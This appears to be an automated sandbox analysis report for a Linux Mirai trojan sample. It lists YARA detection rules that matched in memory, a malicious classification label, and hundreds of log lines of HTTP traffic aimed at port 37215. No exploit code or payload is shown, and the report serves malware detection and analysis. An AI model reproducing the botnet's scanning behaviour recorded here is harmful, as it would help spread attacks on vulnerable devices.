Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.linELF@0/0@25/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 37215
